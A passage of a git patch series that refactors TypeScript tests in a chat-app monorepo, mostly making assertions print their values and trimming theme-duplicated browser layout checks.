a/packages/module-jobs/tests/pipeline.test.ts b/packages/module-jobs/tests/pipeline.test.ts index be293e98c7..4bfb516e05 100644 --- a/packages/module-jobs/tests/pipeline.test.ts +++ b/packages/module-jobs/tests/pipeline.test.ts @@ -111,7 +111,7 @@ describe("jobs pipeline", () => { const text = readFileSync(join(root, INDEX), "utf8"); // Every byte of the old frontmatter survives, the spec appended after it; // only `updated` moves, because the region changed. - expect(text.replace(/^updated: \S+$/m, "updated: 2026-01-01").startsWith(`${head}registry:\n`)).toBe(true); + expect(text.replace(/^updated: \S+$/m, "updated: 2026-01-01")).toStartWith(`${head}registry:\n`); expect(text).toContain(`\n---\n\n${prose}\n`); const { active, closed } = tables(text); expect(active.length).toBeGreaterThan(0); From 5f501f855b4b165f3f8af98303898a22e0d70126 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:01:42 +0100 Subject: [PATCH 168/252] test(ui-react): sent-attachment and turn-time checks without a theme claim run once Test-Health: th-20261110195347-f9b8db#7 --- .../tests/browser/sent-attachments.layout.tsx | 12 +++-- .../tests/browser/turn-time.layout.tsx | 44 ++++++++++--------- 2 files changed, 31 insertions(+), 25 deletions(-) diff --git a/packages/ui-react/tests/browser/sent-attachments.layout.tsx b/packages/ui-react/tests/browser/sent-attachments.layout.tsx index 053fc75cb5..68deb754e8 100644 --- a/packages/ui-react/tests/browser/sent-attachments.layout.tsx +++ b/packages/ui-react/tests/browser/sent-attachments.layout.tsx @@ -13,7 +13,7 @@ beforeEach(() => { viewport = { width: innerWidth, height: innerHeight }; themeB beforeAll(async () => { styles = document.createElement("style"); styles.textContent = await commands.formConsumerStyles(); document.head.append(styles); }); afterAll(() => styles.remove()); afterEach(async () => { if (renderer) flushSync(() => renderer!.unmount()); root?.dispose(); host?.remove(); renderer = undefined; root = undefined; host = undefined; - document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); + if (themeBefore === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); }); const noop = () => {}; @@ -50,15 +50,19 @@ for (const width of [320,1280]) for (const theme of ["dark","light"]) { await commands.formViewport(width,Math.ceil(host.scrollHeight)+32); await page.viewport(width,Math.ceil(host.scrollHeight)+32); await page.screenshot({element:host,path:`../../.vitest-attachments/sent-attachments/${theme}-${width}.png`}); }); - test(`${theme} ${width}: live images retain 80px zoom targets and replay retains only its known count`, async () => { - outer=await commands.formViewport(width,800); await page.viewport(width,800); document.documentElement.dataset.theme=theme; +} +// One theme per width: the image targets are measured, never captured or read +// for colour, and Storybook owns light/dark parity. +for (const width of [320,1280]) { + test(`${width}: live images retain 80px zoom targets and replay retains only its known count`, async () => { + outer=await commands.formViewport(width,800); await page.viewport(width,800); root=createBrainUiRoot({storage:null}); const pixel = document.createElement('canvas'); pixel.width = 1; pixel.height = 1; pixel.getContext('2d')!.fillRect(0,0,1,1); const preview = pixel.toDataURL('image/png'); root.stores.chat.getState().addUserMessage(null,"The crossing.",undefined,[{previewUrl:preview,mediaType:"image/png"}],undefined); host=document.createElement('div');host.style.width=`${Math.min(width,720)}px`;document.body.append(host);renderer=createRoot(host); const draw=()=>flushSync(()=>renderer!.render()); - draw();const image=host.querySelector('img')!;await expect.poll(()=>image.naturalWidth).toBe(1);expect(image.getBoundingClientRect().width).toBe(80);expect(image.getBoundingClientRect().height).toBe(80); + draw();const image=host.querySelector('img')!;await expect.poll(()=>image.naturalWidth).toBe(1);expect(image.getBoundingClientRect().width,"SENT_IMAGE_ZOOM_TARGET").toBe(80);expect(image.getBoundingClientRect().height).toBe(80); expect(host.querySelectorAll('[data-kit-attachment-row]')).toHaveLength(0);image.focus();await userEvent.keyboard('{Enter}'); await expect.poll(()=>document.querySelectorAll('[role="dialog"]').length).toBe(1); await userEvent.keyboard('{Escape}');await expect.poll(()=>document.querySelectorAll('[role="dialog"]').length).toBe(0); diff --git a/packages/ui-react/tests/browser/turn-time.layout.tsx b/packages/ui-react/tests/browser/turn-time.layout.tsx index dbb6f3a35e..42502b827a 100644 --- a/packages/ui-react/tests/browser/turn-time.layout.tsx +++ b/packages/ui-react/tests/browser/turn-time.layout.tsx @@ -77,9 +77,13 @@ for (const theme of ["dark", "light"] as const) for (const width of [320, 1280]) expect(names.map(name => name.textContent), "the user and the brain turn's names").toEqual(["You", "Brain"]); await textContrast(ctx, names, `speaker name (${theme}, ${width})`); }); +} - test(`turn time is visible and exposed (${theme}, ${width})`, async ctx => { - const host = await scene(ctx, width, theme, transcript); +// One theme per width: visibility, exposure and reading order take no +// theme-specific class; the contrast cases above own the themes. +for (const width of [320, 1280]) { + test(`turn time is visible and exposed (${width})`, async ctx => { + const host = await scene(ctx, width, "dark", transcript); for (const [index, span] of times(host).entries()) { const message = TURNS[index]!; const expected = new Date(message.timestamp).toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" }); @@ -100,22 +104,20 @@ for (const theme of ["dark", "light"] as const) for (const width of [320, 1280]) // A long speaker, an effort note and a long time at the narrowest width: the // hairline gives way first, then the header wraps; the time is never squeezed. -for (const theme of ["dark", "light"] as const) { - test(`a long turn header at 320 keeps the whole time visible (${theme})`, async ctx => { - const when = "12 July 2026, 09:00:00 AM"; - const host = await scene(ctx, 320, theme, ); - const span = host.querySelector("[data-turn-time]")!; - const header = span.parentElement!; - const hairline = header.querySelector(".h-px")!; - expect(document.documentElement.scrollWidth, "no horizontal page overflow").toBeLessThanOrEqual(innerWidth); - expect(header.scrollWidth, "no header overflow").toBeLessThanOrEqual(header.clientWidth); - expect(span.textContent).toBe(when); - const box = span.getBoundingClientRect(); - expect(box.right, "inside the viewport").toBeLessThanOrEqual(innerWidth); - expect(span.scrollWidth, "not truncated").toBeLessThanOrEqual(span.clientWidth); - expect(span.getClientRects().length, "not squeezed onto several lines").toBe(1); - expect(box.height, "one line").toBeLessThanOrEqual(parseFloat(getComputedStyle(span).lineHeight) + 1); - expect(box.top, "the header wrapped the time onto its own line").toBeGreaterThan(header.querySelector("span")!.getBoundingClientRect().bottom - 1); - expect(hairline.getBoundingClientRect().width, "the hairline gave way").toBeLessThan(box.width); - }); -} +test("a long turn header at 320 keeps the whole time visible", async ctx => { + const when = "12 July 2026, 09:00:00 AM"; + const host = await scene(ctx, 320, "light", ); + const span = host.querySelector("[data-turn-time]")!; + const header = span.parentElement!; + const hairline = header.querySelector(".h-px")!; + expect(document.documentElement.scrollWidth, "no horizontal page overflow").toBeLessThanOrEqual(innerWidth); + expect(header.scrollWidth, "no header overflow").toBeLessThanOrEqual(header.clientWidth); + expect(span.textContent).toBe(when); + const box = span.getBoundingClientRect(); + expect(box.right, "inside the viewport").toBeLessThanOrEqual(innerWidth); + expect(span.scrollWidth, "not truncated").toBeLessThanOrEqual(span.clientWidth); + expect(span.getClientRects().length, "not squeezed onto several lines").toBe(1); + expect(box.height, "one line").toBeLessThanOrEqual(parseFloat(getComputedStyle(span).lineHeight) + 1); + expect(box.top, "the header wrapped the time onto its own line").toBeGreaterThan(header.querySelector("span")!.getBoundingClientRect().bottom - 1); + expect(hairline.getBoundingClientRect().width, "the hairline gave way").toBeLessThan(box.width); +}); From ef6c68b9d85315b346d1b9dde9f7a1fbc22baf15 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:02:31 +0100 Subject: [PATCH 169/252] test(ui-server): inbox resolution tests assert the winning follow-up, not just a defined id Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#10 --- packages/ui-server/tests/inbox-escalate.test.ts | 4 ++-- packages/ui-server/tests/inbox-resolve.test.ts | 5 +++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/inbox-escalate.test.ts b/packages/ui-server/tests/inbox-escalate.test.ts index 2a6d931fe7..5cdbdea4e9 100644 --- a/packages/ui-server/tests/inbox-escalate.test.ts +++ b/packages/ui-server/tests/inbox-escalate.test.ts @@ -114,12 +114,12 @@ test("two device connections resolve one stored option into one follow-up withou const other = createInboxResolver(db2, { allowedOperations: () => [operation] }); const request = { type: "inbox_resolve" as const, itemId: f.action.id, optionId: "approve" }; const first = resolver.resolve(f.principal.id, request, 1); - expect(first.followUpId).toBeDefined(); + expect(first.replay).toBe(false); expect(other.resolve(f.principal.id, request, 1)).toMatchObject({ replay: true, followUpId: first.followUpId }); expect(f.db.query("SELECT COUNT(*) AS n FROM inbox_resolutions").get()).toEqual({ n: 1 }); const executable = f.store.snapshot().items.filter(i => i.queue === "queue" && i.type === "execute"); expect(executable).toHaveLength(1); - expect(executable[0]).toMatchObject({ status: "ready", payload: { operation } }); + expect(executable[0]).toMatchObject({ id: first.followUpId, status: "ready", payload: { operation } }); expect(f.store.getItem("share")).toMatchObject({ status: "superseded" }); expect(f.store.getItem(f.action.id)).toMatchObject({ status: "resolved" }); expect(f.db.query("SELECT COUNT(*) AS n FROM activity_spans").get()).toEqual({ n: 0 }); diff --git a/packages/ui-server/tests/inbox-resolve.test.ts b/packages/ui-server/tests/inbox-resolve.test.ts index 97fc992f79..582df5f472 100644 --- a/packages/ui-server/tests/inbox-resolve.test.ts +++ b/packages/ui-server/tests/inbox-resolve.test.ts @@ -58,7 +58,8 @@ test("creation and replay accept semantically identical operation input and opti expect(f.store.checkpoints("harbor")[0]!.facts.operations).toHaveLength(1); let result: ReturnType | undefined; expect(() => { result = f.resolver.resolve(f.principal.id, request(input.action.id)); }).not.toThrow(); - expect(result?.followUpId).toBeDefined(); + expect(result?.replay).toBe(false); + expect(f.store.getItem(result!.followUpId!)).toMatchObject({ queue: "queue", type: "execute", status: "ready", payload: { operation } }); expect(f.resolver.resolve(f.principal.id, request(input.action.id))).toMatchObject({ replay: true, followUpId: result!.followUpId }); }); @@ -275,7 +276,7 @@ test("two real engine processes race a gated resolution and persist one follow-u for (const child of children) cleanup.push(async () => { if (child.exitCode === null) child.kill(); await child.exited; }); const deadline = Date.now() + 5000; while (!ready.every(file => existsSync(file)) && Date.now() < deadline) await Bun.sleep(2); - expect(ready.every(file => existsSync(file))).toBe(true); + expect(ready.filter(file => !existsSync(file))).toEqual([]); expect(f.store.getItem(input.itemId)).toMatchObject({ status: "blocked" }); expect(f.store.exportState().inbox_resolutions).toEqual([]); writeFileSync(gate, "go"); From 2958b3ebc931de0865108e9d25309caf21f20e3b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:02:35 +0100 Subject: [PATCH 170/252] test(ui-server): exercise the GPT-Live connection-loss acknowledgement path and make inbox/live assertions print their values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#11 --- .../tests/gpt-live-conversation.test.ts | 20 ++++++++++++------- packages/ui-server/tests/inbox-stream.test.ts | 8 ++++---- 2 files changed, 17 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/gpt-live-conversation.test.ts b/packages/ui-server/tests/gpt-live-conversation.test.ts index 699657537a..4112e178cb 100644 --- a/packages/ui-server/tests/gpt-live-conversation.test.ts +++ b/packages/ui-server/tests/gpt-live-conversation.test.ts @@ -159,7 +159,8 @@ test("large host facts use bounded quiet chunks then one commentary with the ori await until(() => f.sent.some((m) => m.type === "session.commentary.append")); const updates = f.sent.filter((m) => /session\.(thinking|commentary)\.append/.test(m.type)); expect(updates.map((m) => m.content).join("")).toBe(facts); - expect(updates.every((m) => m.delegation_id === "delegation-1" && Buffer.byteLength(m.content) <= 500)).toBe(true); + expect(new Set(updates.map((m) => m.delegation_id))).toEqual(new Set(["delegation-1"])); + expect(Math.max(...updates.map((m) => Buffer.byteLength(m.content)))).toBeLessThanOrEqual(500); expect(updates.filter((m) => m.type === "session.commentary.append")).toHaveLength(1); expect(updates.at(-1).type).toBe("session.commentary.append"); }); @@ -243,9 +244,9 @@ test("real adapter and host keep chat progress and a question interactive while expect(turns).toHaveLength(0); send({ type: "conversation_commit", conversationId, epoch, utteranceId: "u1", requestId: "request-1", text: "Check the Ithaca note." }); await until(() => frames.some((m) => m.type === "ask_user_request")); - expect(frames.some((m) => m.type === "text_delta" && m.text === "Checking the harbour notes.")).toBe(true); + expect(frames).toContainEqual(expect.objectContaining({ type: "text_delta", text: "Checking the harbour notes." })); expect(f.sent.some((m) => m.type === "session.commentary.append")).toBe(false); - expect(frames.some((m) => m.type === "tool_use_start" && m.toolUseId === "lookup-1")).toBe(true); + expect(frames).toContainEqual(expect.objectContaining({ type: "tool_use_start", toolUseId: "lookup-1" })); expect(turns[0]!.noGrantSurface).toBeUndefined(); send({ type: "conversation_audio", conversationId, epoch, utteranceId: "u2", sequence: 1, rate: 24000, pcm: "AAA=" }); await until(() => f.sent.filter((m) => m.type === "session.input_audio.append").length === 2); @@ -256,7 +257,7 @@ test("real adapter and host keep chat progress and a question interactive while release(); await until(() => f.sent.some((m) => m.type === "session.commentary.append")); expect(f.sent.find((m) => m.type === "session.commentary.append")).toMatchObject({ delegation_id: "host-1" }); - expect(frames.some((m) => m.type === "result")).toBe(true); + expect(frames).toContainEqual(expect.objectContaining({ type: "result" })); }); @@ -405,11 +406,16 @@ test("contextual GPT lost append acknowledgement is unknown and cannot replay an f.emit(delegation("lost-ack")); await until(() => f.received.some(e => e.kind === "unassigned_delegation")); f.session.bindContextualWork!({ nativeHandle: "lost-ack", taskId: "task-one", requestId: "request-one" }); const contextual = { conversationId: "ithaca", epoch: 1, provenance: "contextual" as const, taskId: "task-one", requestId: "request-one", turnId: "turn-one", nativeHandle: "lost-ack" }; - const returning = f.session.returnWork(contextual, result); - const rejection = expect(returning).rejects.toThrow("unknown"); + // Settle by hand: a pending `expect(...).rejects` would hold the test until + // the 2 s acknowledgement timer answered, and the loss itself went untested. + let outcome: unknown; + void f.session.returnWork(contextual, result).then(value => { outcome = value; }, (error: Error) => { outcome = error.message; }); await until(() => f.sent.some(m => m.type === "session.commentary.append")); - f.closeRemote(); await rejection; + expect(outcome).toBeUndefined(); await expect(f.session.returnWork(contextual, result)).rejects.toThrow("correlation"); + f.closeRemote(); + await until(() => f.received.some(e => e.kind === "closed")); + expect(outcome).toBe("GPT-Live result acceptance is unknown."); expect(f.sent.filter(m => m.type === "session.commentary.append")).toHaveLength(1); }); diff --git a/packages/ui-server/tests/inbox-stream.test.ts b/packages/ui-server/tests/inbox-stream.test.ts index a61093e7eb..67a3e170f1 100644 --- a/packages/ui-server/tests/inbox-stream.test.ts +++ b/packages/ui-server/tests/inbox-stream.test.ts @@ -126,7 +126,7 @@ describe("durable inbox stream", () => { const changes = deltas(s.frames).map((d) => d.change); expect(changes.map((c) => c.changeId)).toEqual(foreign.changesSince(snapshot.cursor).map((c) => c.changeId)); expect(changes).toHaveLength(2); - expect(changes.every((c) => c.seq > (snapshot.highWaterSeq[c.threadId] ?? 0))).toBe(true); + expect(changes.filter((c) => c.seq <= (snapshot.highWaterSeq[c.threadId] ?? 0))).toEqual([]); }); test("view and existing-thread filters are validated, overlap is deduplicated, and input cannot supply run authority", async () => { ingest("seed"); ingest("other"); @@ -158,10 +158,10 @@ describe("durable inbox stream", () => { const snapshots = s.frames.filter((f): f is InboxSnapshot => f.type === "inbox_snapshot"); expect(snapshots.length).toBeGreaterThan(1); expect(snapshots[0].append).toBeUndefined(); - expect(snapshots.slice(1).every((f) => f.append === true)).toBe(true); + expect(snapshots.slice(1).map((f) => f.append)).toEqual(snapshots.slice(1).map(() => true)); expect(new Set(snapshots.map((f) => f.cursor))).toEqual(new Set([store.snapshot().cursor])); expect(snapshots.flatMap((f) => f.items)).toEqual(store.snapshot().items.filter((i) => i.queue === "actions")); - expect(s.wires.every((f) => Buffer.byteLength(f, "utf8") <= 512_000)).toBe(true); + expect(Math.max(...s.wires.map((f) => Buffer.byteLength(f, "utf8")))).toBeLessThanOrEqual(512_000); foreign.commit([{ kind: "item", item: action("later", "thread-seed", "界".repeat(1200)) }]); stream.pump(); expect(deltas(s.frames).at(-1)?.change).toMatchObject({ kind: "upsert_item", item: { payload: { detail: "界".repeat(1200) } } }); @@ -269,7 +269,7 @@ describe("durable inbox stream", () => { const snapshots = s.frames.filter((f): f is InboxSnapshot => f.type === "inbox_snapshot"); expect(snapshots.length).toBeGreaterThan(1); expect(Object.assign({}, ...snapshots.map((f) => f.highWaterSeq))).toEqual(snapshot.highWaterSeq); - expect(s.wires.every((f) => Buffer.byteLength(f, "utf8") <= 512_000)).toBe(true); + expect(Math.max(...s.wires.map((f) => Buffer.byteLength(f, "utf8")))).toBeLessThanOrEqual(512_000); }); test("new thread names do not inherit fake high-water marks from Object.prototype", async () => { const s = socket(); await s.subscribe(); From 0f0abf725b511c74c96d0777b17a3021755b9c87 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:03:30 +0100 Subject: [PATCH 171/252] test(ui-react): transcript qualifier review prints the stops and labels it compares Test-Health: th-20261110195347-f9b8db#9 --- .../tests/browser/transcript-qualifiers-r2.offline.tsx | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/transcript-qualifiers-r2.offline.tsx b/packages/ui-react/tests/browser/transcript-qualifiers-r2.offline.tsx index 27470b2e90..e79f48635a 100644 --- a/packages/ui-react/tests/browser/transcript-qualifiers-r2.offline.tsx +++ b/packages/ui-react/tests/browser/transcript-qualifiers-r2.offline.tsx @@ -54,7 +54,7 @@ test("review: technical evidence is reachable with native Tab", async ctx => { const visited:string[]=[]; for(let n=0;n<4;n++){await userEvent.keyboard("{Tab}");visited.push(document.activeElement?.tagName+":"+document.activeElement?.textContent);} console.log("REVIEW_TAB", JSON.stringify(visited)); - expect(visited.some(x=>x.startsWith("SUMMARY:")),"Tab must reach collapsed technical evidence").toBe(true); + expect(visited,"Tab must reach collapsed technical evidence").toContainEqual(expect.stringMatching(/^SUMMARY:/)); const summary = document.querySelector("dialog[open]")!.querySelector("summary")!; expect(document.activeElement).toBe(summary); await userEvent.keyboard(" "); @@ -71,9 +71,9 @@ test("review: task request offers exact View result", async ctx => { const answer={...request,id:"raft-answer",role:"assistant" as const,source:undefined,content:"The raft notes are ready.",parts:[{kind:"text" as const,text:"The raft notes are ready."}],toolCalls:[],isStreaming:false}; flushSync(()=>s.ui.stores.chat.setState(state=>({buffers:{...state.buffers,[SESSION]:{...state.buffers[SESSION]!,messages:[...state.buffers[SESSION]!.messages,{...answer,id:"unrelated-answer",requestId:"unrelated-request",turnId:"unrelated-turn"},answer]}}}))); await expect.poll(()=>s.host.querySelector("[data-conversation-task-result]")).not.toBeNull(); - expect([...s.host.querySelectorAll('button,[role="button"]')].some(x=>x.textContent==="View request"),"fixture has exact backlink").toBe(true); + expect([...s.host.querySelectorAll('button,[role="button"]')].map(x=>x.textContent),"fixture has exact backlink").toContain("View request"); console.log("REVIEW_LINKS",JSON.stringify([...s.host.querySelectorAll('button,[role="button"]')].map(x=>x.textContent).filter(x=>x?.includes("View")))); - expect([...s.host.querySelectorAll('button,[role="button"]')].some(x=>x.textContent==="View result"),"request must expose exact retained result").toBe(true); + expect([...s.host.querySelectorAll('button,[role="button"]')].map(x=>x.textContent),"request must expose exact retained result").toContain("View result"); const answerEntry = transcriptTimelineFor(s.ui.stores.chat).state.getState().entries.find(e => e.kind === "message" && e.message.id === answer.id && e.section !== "progress")!; await userEvent.click(page.getByRole("button", { name: "View result", exact: true })); await expect.poll(() => (document.activeElement as HTMLElement)?.dataset.arrivalKey).toBe(answerEntry.key); From 40d1ae10f1ff7e20ff759cf0d503f9ca72ac396b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:03:44 +0100 Subject: [PATCH 172/252] test(geo): make I/O, geocoding, POI and routing failures print their values Test-Health: th-20261110204710-d4eaf5#0 --- packages/geo/tests/geocoding.test.ts | 4 ++-- packages/geo/tests/io.test.ts | 8 ++++---- packages/geo/tests/poi.test.ts | 2 +- packages/geo/tests/routing.test.ts | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/packages/geo/tests/geocoding.test.ts b/packages/geo/tests/geocoding.test.ts index 26b14b9c6c..22737f44be 100644 --- a/packages/geo/tests/geocoding.test.ts +++ b/packages/geo/tests/geocoding.test.ts @@ -47,7 +47,7 @@ describe("configured Nominatim operations",()=>{ expect(requested!.searchParams.get("lat")).toBe("0"); expect(requested!.searchParams.get("lon")).toBe("0"); expect(result.source!.transfer).toEqual({data:"coordinates",sent:true}); - expect(result.warnings.some(w=>w.includes("nearest suitable"))).toBe(true); + expect(result.warnings).toContainEqual(expect.stringContaining("nearest suitable")); }); test("genuine no-match replies cache; a malformed reply remains an error and is retried",async()=>{ @@ -66,7 +66,7 @@ describe("configured Nominatim operations",()=>{ const result=await geo.geocode("Ithaca"); expect(result.value).toHaveLength(1); expect(result).toMatchObject({status:"partial",counts:{input:2,retained:1,omitted:1}}); - expect(result.warnings.some(w=>w.includes("1 malformed"))).toBe(true); + expect(result.warnings).toContainEqual(expect.stringContaining("1 malformed")); const cached=await geo.geocode("Ithaca"); expect(cached).toMatchObject({status:"partial",counts:{input:2,retained:1,omitted:1},source:{fromCache:true}}); expect(count).toBe(1); diff --git a/packages/geo/tests/io.test.ts b/packages/geo/tests/io.test.ts index 3cbdd483b3..dc621f34bc 100644 --- a/packages/geo/tests/io.test.ts +++ b/packages/geo/tests/io.test.ts @@ -94,7 +94,7 @@ describe("shared geo request admission and cache",()=>{ const endpoints=["https://routing.openstreetmap.de/routed-foot/route/v1","https://overpass-api.de/api/interpreter","https://lz4.overpass-api.de/api/interpreter", "https://gall.openstreetmap.de/api/interpreter","https://lambert.openstreetmap.de/api/interpreter"]; const results=await Promise.all(endpoints.map((url,i)=>io.request(i===0 ? "osrm" : "overpass",url,url,{},decode))); - expect(results.every(r=>r.error===null)).toBe(true); + expect(results.map(r=>r.error)).toEqual([null,null,null,null,null]); expect(starts).toHaveLength(5); expect(peak).toBe(1); for(let i=1;i{ expect(admission.nextStart).toBeGreaterThan(0); expect(admission.blockedUntil).toBe(0); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toEqual([]); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); }); } } @@ -242,7 +242,7 @@ describe("shared geo request admission and cache",()=>{ expect(admission.nextStart).toBeGreaterThan(0); expect(admission.blockedUntil).toBe(0); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toHaveLength(failure==="persistence" ? 1 : 0); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); } finally { clearTimeout(watchdog); signal?.removeEventListener("abort",onAbort); @@ -317,7 +317,7 @@ describe("shared geo request admission and cache",()=>{ expect(result!==false && result.value).toBeNull(); expect(result!==false && result.source).toMatchObject({requestSent:true,fromCache:false}); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toEqual([]); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); } finally { nativeClear(watchdog); // Restore every global descriptor even if request cleanup itself fails. diff --git a/packages/geo/tests/poi.test.ts b/packages/geo/tests/poi.test.ts index b54504c9a1..5f07d2846d 100644 --- a/packages/geo/tests/poi.test.ts +++ b/packages/geo/tests/poi.test.ts @@ -235,7 +235,7 @@ describe("bounded shared Overpass POI queries", () => { const cap = await capped.poi(query); expect(cap.value).toHaveLength(1_000); expect(cap).toMatchObject({status: "partial", truncated: true, counts: {input: 1_001, retained: 1_000, omitted: 1}}); - expect(cap.warnings.some(w => w.includes("more matching"))).toBe(true); + expect(cap.warnings).toContainEqual(expect.stringContaining("more matching")); }); test("every failed endpoint is attempted once and a cached fallback retains its cause", async () => { diff --git a/packages/geo/tests/routing.test.ts b/packages/geo/tests/routing.test.ts index c8f2eea258..8c4ebaa3f4 100644 --- a/packages/geo/tests/routing.test.ts +++ b/packages/geo/tests/routing.test.ts @@ -83,7 +83,7 @@ describe("configured OSRM routing and explicit demo fallback",()=>{ expect(result.source).toMatchObject({endpoint:"https://routing.openstreetmap.de/routed-bike/route/v1",dataset:{preparedMode:"bike",profile:"driving"}, fallback:{used:true,reason:"http",primaryEndpoint:dataset("bike").url},transfer:{sent:true}}); expect(result.attempts).toHaveLength(2); - expect(result.attribution.some(a=>a.url.endsWith("/fixthemap"))).toBe(true); + expect(result.attribution.map(a=>a.url)).toContainEqual(expect.stringMatching(/\/fixthemap$/)); const cached=await geo.route(points,"bike"); expect(cached.source).toMatchObject({fromCache:true,fallback:{used:true},dataset:{preparedMode:"bike"},transfer:{sent:false}}); expect(cached.attempts.map(a=>a.requestSent)).toEqual([true,false]); From dce3e18b95703b4acefee9439b5313b8a3e38642 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:29:29 +0100 Subject: [PATCH 173/252] test(ui-server): app wiring guard tests share one app per test; readable principal and lease-state failures Test-Health: th-20261110163814-571eb3#2 --- .../tests/app-native-cleanup.test.ts | 2 +- packages/ui-server/tests/app-wiring.test.ts | 23 +++++++++++-------- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/app-native-cleanup.test.ts b/packages/ui-server/tests/app-native-cleanup.test.ts index 881a3c41bf..1c7da1122f 100644 --- a/packages/ui-server/tests/app-native-cleanup.test.ts +++ b/packages/ui-server/tests/app-native-cleanup.test.ts @@ -48,7 +48,7 @@ test("unknown native deletion stays durable while app shutdown still closes UI s ledger = new Database(f.leasePath); const rows = ledger.query("SELECT id,state FROM native_root_leases").all() as { id: string; state: string }[]; expect(rows.length, "APP_UNKNOWN_RELEASE_RETAINS_DURABLE_OWNERSHIP").toBeGreaterThan(0); - expect(rows.every(row => row.state === "deleting")).toBe(true); + expect(rows.map(row => row.state)).toEqual(rows.map(() => "deleting")); f.native.client.release = release; const ready = await f.native.client.ready(), recovery = await createNativeBrainLeaseManager(f.native.client, { statePath: f.leasePath, brainPath: ready.brainPath, fsid: ready.fsid, brainUuid: ready.brainUuid }); try { diff --git a/packages/ui-server/tests/app-wiring.test.ts b/packages/ui-server/tests/app-wiring.test.ts index f1a12439b9..f1f07135b4 100644 --- a/packages/ui-server/tests/app-wiring.test.ts +++ b/packages/ui-server/tests/app-wiring.test.ts @@ -170,11 +170,9 @@ describe("app wiring — auth guard ordering", () => { const listed = (await list.json()) as { principals: Array<{ id: string; kind: string; is_own: boolean }>; }; - expect( - listed.principals.some( - ({ kind, is_own }) => kind === "owner" && is_own - ) - ).toBe(true); + expect(listed.principals).toContainEqual( + expect.objectContaining({ kind: "owner", is_own: true }) + ); const mint = await instance.fetch( new Request("http://localhost/api/auth/principals", { @@ -208,8 +206,10 @@ describe("app wiring — auth guard ordering", () => { test("the activity routes are behind the auth guard", async () => { // The activity record leaks strictly more than /api/status (session // activity, errors, spend) — same boundary, same reason. + // One app answers every path: the guard keeps no per-request state. + const instance = await app(); for (const path of ["/api/activity/runs", "/api/activity/runs/x", "/api/activity/rollups", "/api/activity/stats", "/api/activity/inbox"]) { - const res = await get(path); + const res = await instance.fetch(new Request(`http://localhost${path}`)); expect(res.status).toBe(401); } }); @@ -252,15 +252,17 @@ describe("app wiring — auth guard ordering", () => { test("the push routes are behind the auth guard", async () => { // Subscribing is a write into the notification fan-out; the public key // is per-deployment. Only the authenticated user gets either. + const instance = await app(); for (const path of ["/api/push/public-key", "/api/push/subscriptions"]) { - const res = await get(path); + const res = await instance.fetch(new Request(`http://localhost${path}`)); expect(res.status).toBe(401); } }); test("the model catalog routes are behind the auth guard", async () => { - const send = async (path: string, init?: RequestInit) => - (await app()).fetch(new Request(`http://localhost${path}`, init)); + const instance = await app(); + const send = (path: string, init?: RequestInit) => + instance.fetch(new Request(`http://localhost${path}`, init)); expect((await send("/api/models")).status).toBe(401); expect( @@ -304,6 +306,7 @@ describe("app wiring — auth guard ordering", () => { test("the graph routes are behind the auth guard", async () => { // Every one of these enumerates note paths and titles, so an unauthenticated // caller must not reach them — not even /graph/meta, which counts the corpus. + const instance = await app(); for (const path of [ "/api/graph/meta", "/api/graph/clusters", @@ -311,7 +314,7 @@ describe("app wiring — auth guard ordering", () => { "/api/graph/discovery", "/api/graph/maintenance", ]) { - expect((await get(path)).status).toBe(401); + expect((await instance.fetch(new Request(`http://localhost${path}`))).status).toBe(401); } }); }); From d152d57160ebc41ece4a7c903ea6ed3a2a141c0b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:42:13 +0100 Subject: [PATCH 174/252] test(ui-server): chat lifecycle closes its host on failure; chat deletion and owner checks print what leaked Test-Health: th-20261110163814-571eb3#5 --- packages/ui-server/tests/chat-deletion.test.ts | 12 +++++++----- packages/ui-server/tests/chat-lifecycle.test.ts | 11 ++++++----- packages/ui-server/tests/chat-session-owner.test.ts | 2 +- 3 files changed, 14 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/chat-deletion.test.ts b/packages/ui-server/tests/chat-deletion.test.ts index 8ed5ab98d1..b5c02dd585 100644 --- a/packages/ui-server/tests/chat-deletion.test.ts +++ b/packages/ui-server/tests/chat-deletion.test.ts @@ -252,7 +252,8 @@ test("the endpoint admits only the authenticated owner and answers with content- expect(accepted.headers.get("cache-control")).toBe("no-store"); expect(JSON.parse(text)).toEqual({ operationId: "delete-voyage", generation: 2, status: "removed", stores: { dialogue: "removed", drafts: "removed", native: "removed", projections: "removed", tasks: "removed" }, retained: RETAINED }); - expect(text.includes(MARKER) || text.includes("ithaca"), "RECEIPT_CARRIES_NO_TEXT_OR_IDENTITIES").toBe(false); + expect(text, "RECEIPT_CARRIES_NO_TEXT").not.toContain(MARKER); + expect(text, 